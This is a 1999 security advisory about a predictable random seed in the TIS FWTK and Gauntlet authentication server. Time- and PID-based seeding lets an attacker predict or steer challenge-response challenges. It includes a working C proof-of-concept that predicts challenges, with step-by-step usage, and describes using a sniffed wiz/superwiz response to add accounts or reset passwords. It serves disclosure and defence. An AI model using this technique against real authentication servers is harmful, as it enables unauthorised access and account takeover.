|
Vulnerability Gautlet and FWTK Affected FWTK and Gautlet though 4.x Description 'kadokev' found following. A 'random seed' problem in lib/rand.c affects all local challenge-response authentication on FWTK and Gauntlet. Many services have support available for this authentication service, including versions of ssh, ftp and telnet. The problem discussed in this paper affects all the 'random challenge' authentication methods in Unix platform releases both FWTK and of Gauntlet, though 4.x. The affected challenge-response methods include Cryptocard, SNK (Axent) and md5 authentication, as well as RADIUS CHAP. This problem does not affect the 'Defender' (DSS), or S/Key authentication methods. Simply put, if you know the response to any one challenge (from sniffing the cleartext exchange, shoulder surfing, etc.), you can predict when the authsrv will generate that same challenge again and possibly manipulate it into repeating the challenge within minutes. The random number routine in the FWTK library 'seeds' (initializes) the Unix random number generator using only time and process id information, making the sequence of challenges trivially easy to predict. This weakness is similar to the 1995 Netscape 'random seed' security problem, and a real fix is likely to be machine-dependent. Attacks based on the vulnerability are made easier if the authentication server is running any additional services, especially if the attacker can determine the system time and drive up the process ID (cause new processes to be spawned, and 'hold' certain process IDs). An attack is trivially easy from a command prompt on the host running the authentication server. Attacks would be nearly impossible with a real pseudo-random seed and a limit on the duration and number of 'authorize' commands in a single connection to the authentication server. It would also help to treat 'abandoned' challenges the same as authentication failures, eventually locking the account. The authsrv listens on a network port (defaults to 7777) but can be configured to only accept authentication requests from specific IP addresses. Most sites will have the authsrv configured to only accept requests on the loopback address 127.0.0.1, and thus are only vulnerable to local attacks. Any user with shell access to the authsrv host, and potentially some remote users, can not only predict the sequence of challenges, but with some effort can maneuver the server into generating a certain specific challenge, presumably one to which the response is already known. As well, the way in which the random seed is generated ensures that, of the one-million possible challenges (ten million for Cryptocard), only 32K unique initial challenges will be generated. Being able to predict the challenge is bad, but being able to cause the server to generate a specific challenge (one for which you know the response) is an exploitable security hole. The first time the randomnumber() function in lib/rand.c is called, authsrv sets the seed with this code: long randomnumber() { static int initt = 0; if(!initt) { long tbuf; time(&tbuf); srand(((int)tbuf % getpid()) + getppid()); initt++; } return(rand()); } Whether run as a daemon or from inetd, each authentication instance is a new process, thus srand() is called to set a new seed when sending the first challenge, then not called again for subsequent challenges in the same process. Following code has been tested on Sparc Solaris 2.6 against both FWTK 2.1 and Gauntlet 4.2: /* Proof of concept demonstrating challenge prediction in TIS products * including both the free FWTK and commercial Gauntlet an 'lib/rand.c', * This is NOT a full exploit, though it could be the basis for one. * * The challenge value from 'authsrv' for MD5, SNK, and Cryptocard * authentication protocol is generated with a function 'randomnumber()', * contrary to it's name, the output is trivially predictable. * * Date: 12 Jan 1999 * Author: Kevin Kadow <fwtk@msg.net> * OS: All * Notes: * You'll need to decide whether to 'USE_RAND' or 'USE_RANDOM', the * commercial Gauntlet is built with USE_RAND (at least on Solaris), for * FWTK use what your authserv uses, or whichever compiles without errors. * * This must be compiled and run on the same host as the authsrv process, * or at least identical hardware with the clock synchronized to the * server. You can get the server's clock value via any timestamp * function, this includes ntp, daytime, syslog, NFS, or ICMP (via the * icmpquery.c program) * * * compile with 'gcc -o challenge challenge.c' * * Determine the listening port of authsrv (from inetd.conf, netperm-table, etc) * * Get a shell prompt on the authsrv host, use 'ps' to find the PID of the * authsrv daemon (it's the authsrv process that never dies), or if running * out of inetd, the inetd PID. * * From the authsrv host or any other host that is allowed to authenticate, * open a telnet connection to the authsrv, and type 'authenticate username' * where 'username' is a valid MD5 or SNK user. Do NOT press enter. * * Use 'ps to find the PID of the new child process, then from the shell on * the authsrv host, type './challenge <parent-PID> <child-PID>' * * Challenge will begin printing the predicted first 6 challenges for the * current second. When you see a challenge to which you know the answer, * press enter in the authsrv telnet session to 'lock in' that sequence. * * As I said, this is strictly a proof-of-concept, the company which * commissioned this wasn't interested in exploit code at the time. * * Kevin Kadow * MSG.Net, Inc. * */ #include <stdio.h> #define USE_RAND #ifdef USE_RANDOM long getnumber(int pid, int ppid) { if(pid && ppid) { long timebuf; time(&timebuf); /*srandom(((int)timebuf % getpid()) + getppid())*/; srandom(((int)timebuf % pid) + ppid); printf(" (%d) ",((int)timebuf % pid) + ppid); } return(random()); } #endif #ifdef USE_RAND long getnumber(int pid, int ppid) { if(pid && ppid) { long timebuf; time(&timebuf); /*srand(((int)timebuf % getpid()) + getppid());*/ srand(((int)timebuf % pid) + ppid); } return(rand()); } #endif main(argc,argv) int argc; char ** argv; { int pid,ppid,count; int tries=60; if(argc < 3) { usage("Insufficient arguments"); } ppid=atoi(argv[1]); pid=atoi(argv[2]); if( !pid || !ppid) { usage("Invalid arguments"); } if(argc < 4 || 0==(count=atoi(argv[3]))) count=tries; printf("Generating %d seconds of challenge sequences:\n\n",count); while(count > 0) { int i=8; printf("%6.6lu",getnumber(pid,ppid) % 999999); while(i) { printf(" %6.6lu",getnumber(0,0) % 999999); i--; } printf("\n"); count--; sleep(1); } } usage(char * why) { if(why) printf("Error: %s\n\n", why); printf("Usage: <parent-pid> <pid> [count]\n"); exit(1); } Any person with shell access to the authentication server host knows or can predict all the factors, and through careful use of fork() can influence the process ID to bring about a specific sequence of challenges. The easiest exploit uses authsrv management functions, however it is possible to gain access to any service that authenticates through the 'authsrv' service. If the user for which you've sniffed a challenge-response has 'wiz' or 'superwiz' access, you can use the authsrv to add your own entries, with plaintext reusable passwords, or with 'superwiz' to change the password for any user or to add new 'wiz' and 'superwiz' users. Because the authsrv process does not implement a timeout, you can open a connection to the authentication server (locking in the parent and current process id), then wait indefinitely for the epoch clock to increment to a value that will produce a challenge with a known response. This 'known challenge' doesn't have to be the first one presented -- after generating the first challenge, the authsrv has set off down a given 'path' of challenges. By determining what 'path' the server is on, if you know that the 50th challenge in the sequence will be the one to which you know the answer, you can send 49 'authorize' requests and only give a 'response' to the 50th question, the one to which you know the answer. This is possible because these 'abandoned' challenges do not count as bad authentications and will not cause authsrv to lock the account. If one can determine the system time remotely and can drive up the process ID through an accessible service (such as smtpd) a remote exploit may be possible. A HTML version, sample code, and further details on this problem are available at http://www.msg.net/utility/FWTK/ Solution The solution to this problem is the same as the solution to the Netscape bug -- find a better random seed. Replay attacks would also be much more difficult if the authsrv program limited the duration of each connection and the number of 'abandoned' authorization attempts for each user. TIS and Network Associates were first notified on January 12, 1999 when this bug was initially discovered in the free FWTK product. Network Associates was notified on March 4, 1999 when the same problem was confirmed in the most recent release of Gauntlet. They are aware of the problem and have replied that they are developing patches for Gauntlet 5.0, but would not commit to a release date or patches for Gauntlet 4.2 and earlier.